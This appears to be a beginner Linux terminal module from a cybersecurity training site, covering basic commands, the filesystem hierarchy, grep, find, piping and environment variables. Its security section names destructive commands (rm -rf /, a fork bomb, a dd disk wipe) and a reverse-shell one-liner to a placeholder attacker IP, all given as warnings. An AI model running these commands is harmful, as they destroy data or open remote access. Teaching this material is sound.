MODULE 04 — LINUX

Terminal Basics

The command line is the hacker's best friend. Master essential Linux commands — ls, cd, cat, mkdir, and more — in this hands-on simulated terminal.

Why the Command Line?

In cybersecurity, the command-line interface (CLI) is your primary workspace. While graphical interfaces look pretty, they limit what you can do. The terminal gives you speed, precision, scripting ability, and access to tools that have no GUI. Whether you're pentesting, analyzing logs, hardening servers, or automating tasks — the terminal is where the real work happens.

Think about it: most servers (especially Linux) don't even have a desktop environment installed. When you SSH into a remote server, you get a terminal — that's it. Every cybersecurity tool you'll use professionally (Nmap, Burp Suite's CLI, Metasploit, Wireshark's tshark) works from the command line.

The most common shell on Linux is Bash (Bourne Again SHell), though you'll also encounter zsh, fish, and sh. On most modern systems, the default is Bash or Zsh.

Key Terms

Shell: The program that interprets your commands and executes them. Bash, Zsh, and Fish are all shells.
Terminal: The interface (window) you type into. It runs a shell. Examples: GNOME Terminal, iTerm2, Windows Terminal.
Command: An instruction you type. Can be a built-in shell command (cd) or an external program (/usr/bin/ls).
Argument: Data passed to a command. In ls /home, /home is the argument.
Flag/Option: Modifies command behavior. In ls -la, -l (long format) and -a (show hidden) are flags.
PATH: An environment variable listing directories where the shell looks for executable programs.

Anatomy of a Command

Every Linux command follows this general structure:

command -flags argument1 argument2
ls
Command — the program to run
-la
Flags — modify behavior
(-l = long, -a = all)
/home/user
Argument — what to operate on

Tip: Short flags use a single dash (-l), long flags use double dashes (--long-format). Short flags can be combined: -la = -l -a.

Essential Commands

These are the commands you'll use every single day. Master them, and you'll navigate any Linux system with confidence:

pwd (Print Working Directory)

Shows the full path of your current location. Always use this when you're lost. Output: /home/user/documents

ls (List)

Lists files and directories. Add -l for details (permissions, size, date), -a for hidden files (starting with .), -h for human-readable sizes.

cd <dir> (Change Directory)

cd /etc — go to /etc. cd .. — go up one level. cd ~ — go home. cd - — go to previous directory.

cat <file> (Concatenate)

Displays the entire contents of a file. For large files, use less (scrollable) or head -n 20 (first 20 lines).

mkdir <name> (Make Directory)

Creates a new directory. Use -p to create nested directories: mkdir -p project/src/utils

touch <file>

Creates an empty file. If the file exists, it updates the modification timestamp. Often used to create placeholder files.

echo <text>

Prints text to the terminal. Combined with redirection: echo "hello" > file.txt writes to a file.

whoami

Shows the current username. Critical in security: knowing if you're root or a regular user determines what you can do.

id

Shows user ID (uid), group ID (gid), and all groups. uid=0 means root!

man <cmd> (Manual)

Opens the manual page for any command. Press q to quit. Example: man ls shows all ls options.

grep <pattern> <file>

Searches for text patterns in files. grep -i "error" /var/log/syslog — case-insensitive search for "error" in syslog.

find <path> -name <pattern>

Searches for files. find / -name "*.conf" -type f — find all .conf files on the system.

Linux File System Hierarchy

Everything in Linux is a file — even hardware devices, network interfaces, and running processes. The filesystem is organized in a tree structure starting from the root (/). Here are the most important directories:

/ (Root)

The top-level directory. Everything exists under /. Don't confuse with /root (root user's home).

/home

User home directories. Each user gets /home/username. Your personal files, configs, and SSH keys live here.

/etc

System configuration files. Passwords (/etc/passwd, /etc/shadow), network config, service configs all live here.

/var/log

System and application log files. syslog, auth.log (login attempts), apache2/ — goldmine for forensics.

/bin & /usr/bin

Essential command binaries (ls, cat, grep, etc.). On modern systems, /bin is often a symlink to /usr/bin.

/tmp

Temporary files. World-writable — any user can read/write here. Attackers often store payloads and scripts here.

/root

The root (superuser) home directory. Not the same as /. Only accessible by root.

/dev

Device files. Hard drives (/dev/sda), null device (/dev/null), random (/dev/urandom).

Real-World: Why This Matters for Security

During a penetration test, the first thing you do after gaining shell access is run whoami, id, and uname -a to understand your privileges and the system. Then you explore: cat /etc/passwd (user accounts), ls -la /tmp (look for dropped tools), cat /var/log/auth.log (see login attempts). Knowing these commands instinctively is what separates a beginner from a professional.

Useful Flags & Options

Most commands accept flags that modify their behavior. Learning common flags will make you 10x more efficient:

ls -la — Long format + hidden files (shows permissions, owner, size, timestamps)
ls -lhS — Human-readable sizes, sorted by file size (largest first)
ls -lt — Sort by modification time (newest first) — great for finding recently changed files
cd .. — Go up one directory. cd ../.. — go up two. cd - — go to previous directory
cat -n file.txt — Show contents with line numbers. Useful for reporting issues at specific lines
less file.txt — Scrollable viewer (q=quit, /pattern=search, n=next match, G=end)
head -n 20 file.txt — Show first 20 lines. tail -n 20 — last 20 lines
tail -f /var/log/syslog — Follow a log file in real-time (watch new entries appear live)
echo "text" > file — Write text to file (overwrites). >> appends instead
cp -r src/ dest/ — Copy directory recursively. mv — move/rename files
rm -i file.txt — Remove with confirmation prompt (safer). rm -rf dir/ — force recursive delete (dangerous!)

grep — Search Inside Files

grep (Global Regular Expression Print) searches for text patterns inside files. It's one of the most-used tools in log analysis, forensics, and CTF challenges.

grep "error" /var/log/syslog — Find lines containing "error"
grep -i "failed" auth.log — Case-insensitive search
grep -r "password" /etc/ — Recursive search through all files in /etc
grep -n "root" /etc/passwd — Show line numbers with matches
grep -v "INFO" syslog — Show lines that DON'T match (invert)
grep -c "Failed" auth.log — Count matching lines (how many failed logins?)
grep -E "192\.168\.[0-9]+" access.log — Extended regex (IP address pattern)

find — Search for Files

find searches for files and directories based on name, type, size, permissions, and more. Essential for security auditing.

find / -name "*.conf" — Find all .conf files on the entire system
find /home -name "*.txt" -type f — Find only files (not directories)
find / -perm -4000 2>/dev/null — Find SUID files (privilege escalation vectors!)
find / -perm -o+w -type d — Find world-writable directories
find /tmp -mmin -60 — Files modified in the last 60 minutes
find / -user root -name "*.sh" — Find shell scripts owned by root

⚠️ Security: find / -perm -4000 is one of the first commands run during Linux privilege escalation — it finds binaries with the SUID bit that could be exploited to gain root access.

Piping & Redirection

The real power of the Linux CLI comes from piping (|) — chaining commands together so the output of one becomes the input of the next. This lets you build complex data processing pipelines from simple commands.

command1 | command2 — Pipe: stdout of cmd1 → stdin of cmd2
cat /var/log/auth.log | grep "Failed" | wc -l — Count failed login attempts
ps aux | grep ssh — Find running SSH processes
cat access.log | sort | uniq -c | sort -rn | head — Top 10 most common log entries
command > output.txt — Redirect stdout to file (overwrite)
command >> output.txt — Redirect stdout to file (append)
command 2>/dev/null — Discard error messages (stderr → /dev/null)
command > output.txt 2>&1 — Redirect both stdout and stderr to file

Environment Variables

Environment variables are key-value pairs that configure the shell and programs. They control everything from which programs you can run (PATH) to your home directory (HOME).

echo $PATH — Show directories where the shell looks for programs
echo $HOME — Your home directory (/home/user)
echo $USER — Current username
echo $SHELL — Current shell (/bin/bash, /bin/zsh)
export MY_VAR="hello" — Set a variable (available to child processes)
env — List all environment variables
Security: Never store secrets in environment variables in scripts committed to Git. Tools like printenv and /proc/[pid]/environ can expose them. Use proper secret management (Vault, AWS Secrets Manager).

Security Implications

Command History Exposure

~/.bash_history stores every command you've typed — including any passwords accidentally entered in plaintext (e.g., mysql -u root -p'secret123'). On shared systems, always run history -c and clear the history file. Prefix commands with a space ( mysql ...) to prevent them from being recorded (requires HISTCONTROL=ignorespace).

Dangerous Commands

rm -rf / — Deletes the entire filesystem (modern systems block this without --no-preserve-root). :(){ :|:& };: — A fork bomb that creates processes recursively until the system runs out of memory and crashes. dd if=/dev/zero of=/dev/sda — Overwrites the entire disk with zeros. Always verify commands before running, especially with sudo.

Reverse Shells

Attackers frequently use one-liners like bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 to establish a reverse shell — a connection from the victim's machine back to the attacker. If you find this in /tmp, cron, or running processes, the system is compromised.

Interactive Terminal

A simulated Linux filesystem. Type commands to explore. Complete the challenges below!

Challenges

1Find out who you are (use whoami)
2List files in the current directory
3Navigate to /home/user/documents
4Read the contents of secret.txt
5Create a directory called hacked
user@secplus:~
Welcome to AXSS DENIED Linux Terminal Simulator v1.0
Type 'help' for a list of available commands.
Complete all 5 challenges to pass this module!
user@secplus:~$

Knowledge Check

All certification names are referenced for educational purposes only. This project is not affiliated with any certification body.